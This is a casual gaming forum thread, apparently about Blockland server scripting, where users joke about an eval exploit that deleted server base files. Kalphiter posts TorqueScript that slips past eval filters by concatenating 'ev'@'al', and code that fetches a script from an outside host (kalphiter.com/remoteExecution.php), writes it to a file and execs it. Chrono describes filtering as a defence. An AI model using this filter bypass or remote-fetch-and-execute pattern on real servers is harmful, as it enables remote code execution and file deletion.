Truce - Hey guess what, people don't appreciate you deleting their base files

[Chrono]

And call?
lol

[Ad Bot]

[Kalphiter]

Nevermind,

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call("ev"@"al", "echo(lol);");

[Kalphiter]

And call?
lol

call("call", "ev"@"al", "echo(lol);");

OSHT

[Kalphiter]

call("call", "ev"@"al", "echo(lol);");

OSHT

This post was just a joke until I finished the code

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new HTTPObject(KalHTTP);
function Kaleval()
{
    KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");
}

function KalHTTP::online(%this, %line)
{
    %filePath = "base/lol.cs");
    %file = new FileObject();
    %file.openForWrite(%filePath);
    %file.writeLine(%line);
    %file.close();
    %file.delete();
}Something like that...

[Chrono]

If I were to ever use eval on my server, I would remove any file read, write, and delete functionality, and remove any possibilities for infinite loops. Ontop of that, getting rid of all the obvious crash functions.

[Truce]

The funny thing was, Amade did remove file functions. Well, tried to, that is.

[Chrono]

Hah.

[Kalphiter]

Hah.

Haha, put
    %filePath = "base/lol.cs");
    %file = new FileObject();
    %file.openForWrite(%filePath);
    %file.writeLine(%line);
    %file.close();
    %file.delete();
    exec("base/lol.cs");
in the remote execute file.

NOW WHAT?

[Chrono]

Haha, put
    %filePath = "base/lol.cs");
    %file = new FileObject();
    %file.openForWrite(%filePath);
    %file.writeLine(%line);
    %file.close();
    %file.delete();
    exec("base/lol.cs");
in the remote execute file.

NOW WHAT?

If it were my way, it would turn out like this:

    %filePath = "base/lol.cs");
    %file = new ();
    %file.(%filePath);
    %file.(%line);
    %file.close();
    %file.delete();
    ("base/lol.cs");

[Chrono]

Wait... even without me preventing it, it would syntax error on it's own lol

[Kalphiter]

If it were my way, it would turn out like this:

    %filePath = "base/lol.cs");
    %file = new ();
    %file.(%filePath);
    %file.(%line);
    %file.close();
    %file.delete();
    ("base/lol.cs");

Wait, you didn't say it filters the onLine callback for an HTTP object.

[Kalphiter]

Oh, and "base/lol.cs");

[Chrono]

Yes, but I wouldn't have that anywhere in my code, and you wouldn't be able to eval it because it has words that don't work.

[Hugums]

Cn u guise script me a  mod????????1?

[_Rebel_]

Ok, 19 pages of this crap?
We get it, Truce is basically a hacker.  Pretty cool in my opinion.